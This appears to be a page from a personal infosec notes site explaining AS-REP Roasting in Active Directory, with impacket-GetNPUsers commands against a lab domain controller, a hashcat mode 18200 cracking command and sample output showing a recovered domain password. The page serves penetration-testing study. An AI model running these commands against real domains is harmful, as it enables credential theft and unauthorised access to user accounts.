> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/kerberos-enumeration/as-rep-roasting.md).

# AS-REP Roasting

AS-REP Roasting is an attack technique that targets user accounts with **“Do not require Kerberos preauthentication”** enabled. It allows attackers to request and capture an **AS-REP** encrypted with the user's NTLM hash, which can be cracked offline to recover the password.

***

### AS-REP Roasting Attack Checklist

1. Identify domain and domain controller IP
2. Find usernames (can use Kerbrute, ldapsearch, etc.)
3. Use `GetNPUsers` to request AS-REP
4. Crack the hashes offline

***

### Environment Example

* **Domain:** `enum.local`
* **Domain Controller IP:** `192.168.1.61`
* **Username wordlist:** `username.txt`

***

### **Check for AS-REP Vulnerable Users**

```bash
impacket-GetNPUsers enum.local/ -dc-ip 192.168.1.61
```

To check a list of usernames:

```bash
impacket-GetNPUsers enum.local/ -dc-ip 192.168.1.61 -usersfile username.txt
```

To format for hashcat and save to file:

```bash
impacket-GetNPUsers enum.local/ -dc-ip 192.168.1.61 -usersfile username.txt -format hashcat -outputfile np-hashes.txt
```

🔎 Example Output:

```
$krb5asrep$23$admin@ENUM.LOCAL:5d41402abc4b2a76b9719d911017c592...
```

***

### **Crack the AS-REP Hash**

AS-REP hashes use **Hashcat mode 18200**:

```bash
hashcat -m 18200 -a 0 np-hashes.txt /opt/rockyou.txt
```

If successful:

```
admin:P@ssw0rd123
```

🎉 Now you have the cleartext password of a domain user without any prior credentials!